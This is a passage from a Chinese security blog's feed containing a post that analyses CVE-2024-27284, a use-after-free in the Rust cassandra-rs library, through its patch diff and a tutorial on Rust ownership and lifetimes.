&lt;p&gt;本文首发于奇安信攻防社区 &lt;a href=&quot;https://forum.butian.net/share/3048&quot;&gt;https://forum.butian.net/share/3048&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;</summary>
    
    
    
    <category term="Pwn" scheme="https://showlinkroom.me/categories/Pwn/"/>
    
    
    <category term="FSOP" scheme="https://showlinkroom.me/tags/FSOP/"/>
    
  </entry>
  
  <entry>
    <title>RustPwn_CVE-2024-27284</title>
    <link href="https://showlinkroom.me/2024/04/05/RustPwn-CVE-2024-27284/"/>
    <id>https://showlinkroom.me/2024/04/05/RustPwn-CVE-2024-27284/</id>
    <published>2024-04-05T12:49:35.000Z</published>
    <updated>2024-04-25T12:16:08.995Z</updated>
    
    <content type="html"><![CDATA[<p>这个漏洞是一个在和朋友看设计模式的时候无意中找到的漏洞，非常有趣，在这里简单记录一下</p><blockquote><p>本文首发于先知平台 <a href="https://xz.aliyun.com/t/14345">https://xz.aliyun.com/t/14345</a></p></blockquote><span id="more"></span><h2 id="cve-2024-27284">CVE-2024-27284</h2><h2 id="漏洞背景">漏洞背景</h2><p>漏洞本身来自一个叫做<a href="https://github.com/Metaswitch/cassandra-rs">Casandra-rs</a>的开源库。</p><blockquote><p>Cassandra 是一个开源的分布式数据库管理系统，由 Apache 软件基金会开发和维护。它被设计为具有高度可扩展性和容错性的分布式存储系统，用于处理大规模数据集的高吞吐量和低延迟的应用程序。Cassandra 使用一种称为 CQL（Cassandra Query Language）的查询语言，它类似于 SQL，但具有一些特定于 Cassandra 的扩展和功能。CQL 提供了灵活的数据模型和查询选项，可以满足各种应用程序的需求。 —— 来自Apache</p></blockquote><p>当前库是一个Rust写的库，理论上Rust是很少能出问题的，但是在现实场景中，由于对底层逻辑的操作需求，Rust也不得不引入<code>unsafe</code>关键字对一些底层的内容进行操作。然而一旦引入了unsafe，Rust在编译期间进行的检查就会失效，在这个过程中就会导致漏洞的出现。</p><h2 id="patch分析">Patch分析</h2><p>根据<a href="https://nvd.nist.gov/vuln/detail/CVE-2024-27284">漏洞公告</a>，可以看到漏洞描述如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">Code that attempts to use an item (e.g., a row) returned by an iterator after the iterator has advanced to the next item will be accessing freed memory and experience undefined behaviour. Code that uses the item and then advances the iterator is unaffected. This problem has always existed.</span><br><span class="line"></span><br><span class="line">This is a use-after-free bug, so it&#x27;s rated high severity. If your code uses a pre-3.0.0 version of cassandra-rs, and uses an item returned by a cassandra-rs iterator after calling next() on that iterator, then it is vulnerable. However, such code will almost always fail immediately - so we believe it is unlikely that any code using this pattern would have reached production. For peace of mind, we recommend you upgrade anyway.</span><br></pre></td></tr></table></figure><p>根据描述，我们可以直到这个漏洞的几个特征：</p><ul><li>漏洞类型为UAF</li><li>漏洞和迭代器<code>iter</code>有关</li><li>漏洞的触发和<code>next()</code>有关系</li></ul><p>同时可以找到程序的<a href="https://github.com/Metaswitch/cassandra-rs/commit/ae054dc8044eac9c2c7ae2b1ab154b53ca7f8df7">patch</a>在这个位置。其中有一段内容比较关键:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">## Lending iterator API (version 3.0)</span><br><span class="line"></span><br><span class="line">Version 3.0 fixes a soundness issue with the previous API. The iterators in the</span><br><span class="line">underlying Cassandra driver invalidate the current item when `next()` is called,</span><br><span class="line">and this was not reflected in the Rust binding prior to version 3.</span><br><span class="line"></span><br><span class="line">To deal with this, the various iterators (`ResultIterator`, `RowIterator`,</span><br><span class="line">`MapIterator`, `SetIterator`, `FieldIterator`, `UserTypeIterator`,</span><br><span class="line">`KeyspaceIterator`, `FunctionIterator`, `AggregateIterator`, `TableIterator`,</span><br><span class="line">`ColumnIterator`) no longer implement `std::iter::Iterator`. Instead, since this</span><br><span class="line">is a [lending</span><br><span class="line">iterator,](https://blog.rust-lang.org/2022/11/03/Rust-1.65.0.html#generic-associated-types-gats)</span><br><span class="line">these types all implement a new `LendingIterator` trait. We define this</span><br><span class="line">ourselves because there is currently no widely-used crate that implements it.</span><br></pre></td></tr></table></figure><p>观察修复的内容，可以找到大致有两类修复代码：</p><p>一类则是增加了生命周期的声明：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">    <span class="comment">/// A field&#x27;s metadata</span></span><br><span class="line">-   <span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Field</span> &#123;</span><br><span class="line">+   <span class="comment">//</span></span><br><span class="line">+   <span class="comment">// Borrowed from wherever the value is borrowed from.</span></span><br><span class="line">+   <span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Field</span>&lt;<span class="symbol">&#x27;a</span>&gt; &#123;</span><br><span class="line">        <span class="comment">/// The field&#x27;s name</span></span><br><span class="line">        <span class="keyword">pub</span> name: <span class="type">String</span>,</span><br><span class="line">        <span class="comment">/// The field&#x27;s value</span></span><br><span class="line">-       <span class="keyword">pub</span> value: Value,</span><br><span class="line">+       <span class="keyword">pub</span> value: Value&lt;<span class="symbol">&#x27;a</span>&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>另一类则是增加了一些关于生命周期和幽灵数据的声明</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br></pre></td><td class="code"><pre><span class="line">    <span class="meta">#[derive(Debug)]</span></span><br><span class="line">-   <span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">RowIterator</span>(<span class="keyword">pub</span> *<span class="keyword">mut</span> _CassIterator);</span><br><span class="line">+   <span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">RowIterator</span>&lt;<span class="symbol">&#x27;a</span>&gt;(*<span class="keyword">mut</span> _CassIterator, PhantomData&lt;&amp;<span class="symbol">&#x27;a</span> _Row&gt;);</span><br><span class="line"></span><br><span class="line">-   <span class="comment">// The underlying C type has no thread-local state, but does not support access</span></span><br><span class="line">-   <span class="comment">// from multiple threads: https://datastax.github.io/cpp-driver/topics/#thread-safety</span></span><br><span class="line">-   <span class="keyword">unsafe</span> <span class="keyword">impl</span> <span class="title class_">Send</span> <span class="keyword">for</span> <span class="title class_">RowIterator</span> &#123;&#125;</span><br><span class="line">+   <span class="comment">// The underlying C type has no thread-local state, and forbids only concurrent</span></span><br><span class="line">+   <span class="comment">// mutation/free: https://datastax.github.io/cpp-driver/topics/#thread-safety</span></span><br><span class="line">+   <span class="keyword">unsafe</span> <span class="keyword">impl</span> <span class="title class_">Send</span> <span class="keyword">for</span> <span class="title class_">RowIterator</span>&lt;<span class="symbol">&#x27;_</span>&gt; &#123;&#125;</span><br><span class="line">+   <span class="keyword">unsafe</span> <span class="keyword">impl</span> <span class="title class_">Sync</span> <span class="keyword">for</span> <span class="title class_">RowIterator</span>&lt;<span class="symbol">&#x27;_</span>&gt; &#123;&#125;</span><br><span class="line"></span><br><span class="line">-   <span class="keyword">impl</span> <span class="title class_">Drop</span> <span class="keyword">for</span> <span class="title class_">RowIterator</span> &#123;</span><br><span class="line">+   <span class="keyword">impl</span> <span class="title class_">Drop</span> <span class="keyword">for</span> <span class="title class_">RowIterator</span>&lt;<span class="symbol">&#x27;_</span>&gt; &#123;</span><br><span class="line">        <span class="keyword">fn</span> <span class="title function_">drop</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) &#123;</span><br><span class="line">            <span class="keyword">unsafe</span> &#123; <span class="title function_ invoke__">cass_iterator_free</span>(<span class="keyword">self</span>.<span class="number">0</span>) &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">-   <span class="keyword">impl</span> <span class="title class_">iter</span>::<span class="built_in">Iterator</span> <span class="keyword">for</span> <span class="title class_">RowIterator</span> &#123;</span><br><span class="line">-       <span class="keyword">type</span> <span class="title class_">Item</span> = Value;</span><br><span class="line"></span><br><span class="line">-       <span class="keyword">fn</span> <span class="title function_">next</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">Option</span>&lt;&lt;<span class="keyword">Self</span> <span class="keyword">as</span> <span class="built_in">Iterator</span>&gt;::Item&gt; &#123;</span><br><span class="line">-           <span class="keyword">unsafe</span> &#123;</span><br><span class="line">-               <span class="keyword">match</span> <span class="title function_ invoke__">cass_iterator_next</span>(<span class="keyword">self</span>.<span class="number">0</span>) &#123;</span><br><span class="line">-                   cass_false =&gt; <span class="literal">None</span>,</span><br><span class="line">-                   cass_true =&gt; <span class="title function_ invoke__">Some</span>(Value::<span class="title function_ invoke__">build</span>(<span class="title function_ invoke__">cass_iterator_get_column</span>(<span class="keyword">self</span>.<span class="number">0</span>))),</span><br><span class="line">-               &#125;</span><br><span class="line">-           &#125;</span><br><span class="line">-       &#125;</span><br><span class="line">-   &#125;</span><br><span class="line"></span><br><span class="line">-   <span class="keyword">impl</span>&lt;<span class="symbol">&#x27;a</span>&gt; <span class="built_in">Iterator</span> <span class="keyword">for</span> &amp;<span class="symbol">&#x27;a</span> RowIterator &#123;</span><br><span class="line">-       <span class="keyword">type</span> <span class="title class_">Item</span> = Value;</span><br><span class="line">+   <span class="keyword">impl</span> <span class="title class_">LendingIterator</span> <span class="keyword">for</span> <span class="title class_">RowIterator</span>&lt;<span class="symbol">&#x27;_</span>&gt; &#123;</span><br><span class="line">+       <span class="keyword">type</span> <span class="title class_">Item</span>&lt;<span class="symbol">&#x27;a</span>&gt; = Value&lt;<span class="symbol">&#x27;a</span>&gt; <span class="keyword">where</span> <span class="keyword">Self</span>: <span class="symbol">&#x27;a</span>;</span><br><span class="line"></span><br><span class="line">-       <span class="keyword">fn</span> <span class="title function_">next</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">Option</span>&lt;&lt;<span class="keyword">Self</span> <span class="keyword">as</span> <span class="built_in">Iterator</span>&gt;::Item&gt; &#123;</span><br><span class="line">+       <span class="keyword">fn</span> <span class="title function_">next</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) <span class="punctuation">-&gt;</span> <span class="type">Option</span>&lt;&lt;<span class="keyword">Self</span> <span class="keyword">as</span> LendingIterator&gt;::Item&lt;<span class="symbol">&#x27;_</span>&gt;&gt; &#123;</span><br><span class="line">            <span class="keyword">unsafe</span> &#123;</span><br><span class="line">                <span class="keyword">match</span> <span class="title function_ invoke__">cass_iterator_next</span>(<span class="keyword">self</span>.<span class="number">0</span>) &#123;</span><br><span class="line">                    cass_false =&gt; <span class="literal">None</span>,</span><br><span class="line">                    cass_true =&gt; <span class="title function_ invoke__">Some</span>(Value::<span class="title function_ invoke__">build</span>(<span class="title function_ invoke__">cass_iterator_get_column</span>(<span class="keyword">self</span>.<span class="number">0</span>))),</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到，这里对类型<code>RowIterator</code>新增了生命周期的定义，并且这个<code>LendingIterator</code>似乎是一个新增的描述概念，作者同样添加到了README中:</p><figure class="highlight md"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">## Lending iterator API (version 3.0)</span></span><br><span class="line"></span><br><span class="line">Version 3.0 fixes a soundness issue with the previous API. The iterators in the</span><br><span class="line">underlying Cassandra driver invalidate the current item when <span class="code">`next()`</span> is called,</span><br><span class="line">and this was not reflected in the Rust binding prior to version 3.</span><br><span class="line"></span><br><span class="line">To deal with this, the various iterators (<span class="code">`ResultIterator`</span>, <span class="code">`RowIterator`</span>,</span><br><span class="line"><span class="code">`MapIterator`</span>, <span class="code">`SetIterator`</span>, <span class="code">`FieldIterator`</span>, <span class="code">`UserTypeIterator`</span>,</span><br><span class="line"><span class="code">`KeyspaceIterator`</span>, <span class="code">`FunctionIterator`</span>, <span class="code">`AggregateIterator`</span>, <span class="code">`TableIterator`</span>,</span><br><span class="line"><span class="code">`ColumnIterator`</span>) no longer implement <span class="code">`std::iter::Iterator`</span>. Instead, since this</span><br><span class="line">is a [lending</span><br><span class="line">iterator,](https://blog.rust-lang.org/2022/11/03/Rust-1.65.0.html#generic-associated-types-gats)</span><br><span class="line">these types all implement a new <span class="code">`LendingIterator`</span> trait. We define this</span><br><span class="line">ourselves because there is currently no widely-used crate that implements it.</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>并且修复commit中，作者提到</p><blockquote><p>Make ResultIterator a LendingIterator</p></blockquote><p>换句话说，这些迭代器全部改成了<code>LendingIterator</code>，尤其是这个<code>ResultIterator</code>。那么总结以下，漏洞修复方案大概是：</p><ul><li>将迭代器由<strong>Iterator</strong>修改为<strong>LendingIterator</strong></li><li>将数据对象增加生命周期，并且对某些结构体增加幽灵成员以增加生命周期</li></ul><p>整体修复全是基于Rust特性进行的操作。为了能够更好的了解这个修复过程发生了什么，我们需要了解rust中关于生命周期的一些概念。熟悉的同学可以直接跳到<strong>漏洞分析</strong>。</p><h2 id="rust基本特性补充">Rust基本特性补充</h2><h3 id="基础篇">基础篇</h3><h4 id="所有权与引用">所有权与引用</h4><p>Rust这门语言之所以被人称之为【安全语言】，是因为Rust在编译期间会做非常多的检查工作。这些检查工作会在编译阶段进行，这就导致rust这个语言非常难以通过编译。因为它一旦通过编译，意味着编译器基本上完成了大部分的检查工作。在这个设计思想下，诞生出了一种用于检测变量是否被多次使用的概念：所有权(Own)</p><p>在Rust种，每一个变量都是有所有权的，比如:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">s1</span> = <span class="type">String</span>::<span class="title function_ invoke__">from</span>(<span class="string">&quot;hello&quot;</span>);</span><br><span class="line"><span class="keyword">let</span> <span class="variable">s2</span> = s1;</span><br><span class="line"><span class="comment">// 这里会报错</span></span><br><span class="line"><span class="built_in">println!</span>(<span class="string">&quot;&#123;&#125;, world!&quot;</span>, s1);</span><br></pre></td></tr></table></figure><p>在其他语言中，这种写法完全没问题，而对于Rust而言，赋值语句为一种<strong>交予所有权</strong>的形式，此时s2获得了s1的所有权，上述的赋值过程中，s1将自己的所有权交给了s2，这就意味着<strong>从这个时候开始，s1不应被继续使用</strong>。从Rust的语法上，我们了解到这个程度即可，但是此时存在一个问题：这个s1的这段是否存在？这里有两种可能的解释</p><ul><li>s1被当场销毁了，同时s2为s1新拷贝的对象</li><li>s1其实没有被销毁，只是编译器在编译阶段不允许我们使用而已</li></ul><p>为了验证上述做法，接下来我们简单的定义一个对象<code>Test1</code>，并且实现对应的trait中的<code>Drop</code>接口（就理解成析构函数即可）</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[derive(Debug)]</span></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">Test1</span> &#123;</span><br><span class="line">    n1: <span class="type">u32</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">Drop</span> <span class="keyword">for</span> <span class="title class_">Test1</span> &#123;</span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">drop</span>(&amp;<span class="keyword">mut</span> <span class="keyword">self</span>) &#123;</span><br><span class="line">        <span class="built_in">println!</span>(<span class="string">&quot;Drop for test1111&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">impl</span> <span class="title class_">Test1</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">pub</span> <span class="keyword">fn</span> <span class="title function_">new</span>() <span class="punctuation">-&gt;</span> Test1 &#123;</span><br><span class="line">        Test1 &#123;n1:<span class="number">1</span>&#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() &#123;</span><br><span class="line">        </span><br><span class="line">    <span class="comment">// let test2;</span></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">test1</span> = Test1::<span class="title function_ invoke__">new</span>();</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">test2</span> = test1;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;Test1 is &#123;:?&#125;&quot;</span>, test2);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行这段代码的结果如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Test1 is Test1 &#123; n1: 1 &#125;</span><br><span class="line">Drop for test1111</span><br></pre></td></tr></table></figure><p>可以看到，此时test1真正被销毁的时候是在整个main函数结束的时候。也就是说，在这段代码执行的时候，至始至终<strong>只创建了一个对象</strong>。对于Rust而言，每一个变量的生命周期本质上和C类似，是以大括号为边界，在离开大括号后被销毁。<br>然而<strong>Rust编译器并非是按照二进制层面的生命周期进行考虑，而是有一套自定义的规矩</strong>。这意味着，即便从二进制角度上看，这里的<code>test1</code>和<code>test2</code>指代的依然是同一个对象，但是Rust编译器认为，当所有权发生从<code>test1</code>变为<code>test2</code>的时候，此时就不该使用<code>test1</code>对象，应当将其当作被销毁而不再使用。</p><p>如果此时想要描述<code>test1</code>和<code>test2</code>是同一个对象，那么可以使用一个叫做<strong>引用</strong>的概念:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">test1</span> = Test1::<span class="title function_ invoke__">new</span>();</span><br><span class="line"><span class="keyword">let</span> <span class="variable">test2</span> = &amp;test1;</span><br><span class="line"></span><br><span class="line"><span class="built_in">println!</span>(<span class="string">&quot;Test1 is &#123;:?&#125;&quot;</span>, test1);</span><br></pre></td></tr></table></figure><p>如果这样声明，此时相当于告知编译器，<code>test2</code>本质上将会使用<code>test1</code>对象中的内容，此时程序将不会报错。<br>同时，从二进制角度上看，上述两端代码编译的结果完全没变。这也说明了Rust中新增的许多特性本质上<strong>是从编译阶段杜绝漏洞的出现，而非通过代码膨胀的方式新增防护策略</strong></p><h4 id="生命周期">生命周期</h4><p>当聊到Rust针对引用展开的保护时，本质上聊的其实是引用对象的生命周期。官方的说法为</p><blockquote><p>every reference in Rust has a lifetime, which is the scope for which that reference is valid.</p></blockquote><p>对于生命周期的检查，官方使用借用检查<code>Borrow Checker</code>（借调者检查）来比较生命周期的长度。例如一个常见的问题：</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">test2</span>;</span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">let</span> <span class="variable">test1</span> = Test1::<span class="title function_ invoke__">new</span>();</span><br><span class="line">    test2 = &amp;test1;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">println!</span>(<span class="string">&quot;Test1 is &#123;:?&#125;&quot;</span>, test2);</span><br></pre></td></tr></table></figure><p>此时<code>test2</code>获取了<code>test1</code>的引用，但是实际上在离开大括号范围后，test1就会被销毁，而我们test2却依然握着这个引用，显然是不合理的。此时rust就会报错，提示被借用的值之后依然被引用了:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">error[E0597]: `test1` does not live long enough</span><br><span class="line">   --&gt; src/main.rs:226:17</span><br><span class="line">    |</span><br><span class="line">225 |         let test1 = Test1::new();</span><br><span class="line">    |             ----- binding `test1` declared here</span><br><span class="line">226 |         test2 = &amp;test1;</span><br><span class="line">    |                 ^^^^^^ borrowed value does not live long enough</span><br><span class="line">227 |     &#125;</span><br><span class="line">    |     - `test1` dropped here while still borrowed</span><br><span class="line">228 |</span><br><span class="line">229 |     println!(&quot;Test1 is &#123;:?&#125;&quot;, test2);</span><br><span class="line">    |                               ----- borrow later used here</span><br></pre></td></tr></table></figure><p>然而，在某些场合，编译器会失去对生命周期的判断能力。例如假设我们此时有一个函数如下:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">compare</span>(x: &amp;Test1, y: &amp;Test1) <span class="punctuation">-&gt;</span> &amp;Test1 &#123;</span><br><span class="line">    <span class="keyword">if</span> x.n1 &gt; y.n1 &#123;</span><br><span class="line">        x</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        y</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() &#123;</span><br><span class="line">        </span><br><span class="line">    <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">test1</span> = Test1::<span class="title function_ invoke__">new</span>();</span><br><span class="line">    test1.<span class="title function_ invoke__">set_n</span>(<span class="number">1</span>);</span><br><span class="line">    <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">test2</span> = Test1::<span class="title function_ invoke__">new</span>();</span><br><span class="line">    test2.<span class="title function_ invoke__">set_n</span>(<span class="number">2</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">let</span> <span class="variable">test3</span> = <span class="title function_ invoke__">compare</span>(&amp;test1, &amp;test2);</span><br><span class="line"></span><br><span class="line">    <span class="built_in">println!</span>(<span class="string">&quot;Test1 is &#123;:?&#125;&quot;</span>, test3);</span><br><span class="line"></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此时我们想要比较<code>test1</code>和<code>test2</code>的大小关系，并且用<code>test3</code>引用比较大的那个。虽然这样乍一看很合理，但是编译的时候rust会告诉我们它的疑惑:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">error[E0106]: missing lifetime specifier</span><br><span class="line">   --&gt; src/main.rs:221:37</span><br><span class="line">    |</span><br><span class="line">221 | fn compare(x: &amp;Test1, y: &amp;Test1) -&gt; &amp;Test1 &#123;</span><br><span class="line">    |               ------     ------     ^ expected named lifetime parameter</span><br><span class="line">    |</span><br><span class="line">    = help: this function&#x27;s return type contains a borrowed value, but the signature does not say whether it is borrowed from `x` or `y`</span><br><span class="line">help: consider introducing a named lifetime parameter</span><br><span class="line">    |</span><br><span class="line">221 | fn compare&lt;&#x27;a&gt;(x: &amp;&#x27;a Test1, y: &amp;&#x27;a Test1) -&gt; &amp;&#x27;a Test1 &#123;</span><br><span class="line">    |           ++++     ++            ++            ++</span><br></pre></td></tr></table></figure><p>实际上这个函数存在一个模棱两可的地方：返回值为某一个值的引用，但是这一个值究竟是x的引用，还是y的引用呢？实际上这里有这几种猜测:</p><ul><li>返回值和x的引用周期保持一致，此时编译器之后允许y的对象在返回值被销毁前被销毁</li><li>返回值和y的引用周期保持一致，此时编译器之后允许x的对象在返回值被销毁前被销毁</li><li>返回值和x和y中比较短的那个生命周期保持一致。</li></ul><p>这种不确定性需要开发者手动指定，可以看到报错中也显示的给了我们一个推荐的做法：强制指定生命周期。</p><p>包含引用时，生命周期语法如下:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&amp;<span class="type">i32</span>        <span class="comment">// a reference</span></span><br><span class="line">&amp;<span class="symbol">&#x27;a</span> <span class="type">i32</span>     <span class="comment">// a reference with an explicit lifetime</span></span><br><span class="line">&amp;<span class="symbol">&#x27;a</span> <span class="keyword">mut</span> <span class="type">i32</span> <span class="comment">// a mutable reference with an explicit lifetime</span></span><br></pre></td></tr></table></figure><p>当声明了生命周期后，此时rust会将这些被声明了生命周期的变量<strong>同步</strong>，也就是这些变量的生命周期长度会保持一致。此时我们可以修改上述代码:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">compare</span>&lt;<span class="symbol">&#x27;a</span>&gt;(x: &amp;<span class="symbol">&#x27;a</span> Test1, y: &amp;<span class="symbol">&#x27;a</span> Test1) <span class="punctuation">-&gt;</span> &amp;<span class="symbol">&#x27;a</span> Test1 &#123;</span><br><span class="line">    <span class="keyword">if</span> x.n1 &gt; y.n1 &#123;</span><br><span class="line">        x</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        y</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这种写法表示<strong>compare的返回值的生命周期长度和传入的x，y生命周期长度一致</strong>。然而，这个一致<strong>仅限于当前函数传入前后</strong>，其不会影响所有的生命周期判断。例如:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() &#123;</span><br><span class="line">        </span><br><span class="line">    <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">test1</span> = Test1::<span class="title function_ invoke__">new</span>();</span><br><span class="line">    test1.<span class="title function_ invoke__">set_n</span>(<span class="number">1</span>);</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">test2</span> = Test1::<span class="title function_ invoke__">new</span>();</span><br><span class="line">        test2.<span class="title function_ invoke__">set_n</span>(<span class="number">2</span>);</span><br><span class="line"></span><br><span class="line">        <span class="keyword">let</span> <span class="variable">test3</span> = <span class="title function_ invoke__">compare</span>(&amp;test1, &amp;test2);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span 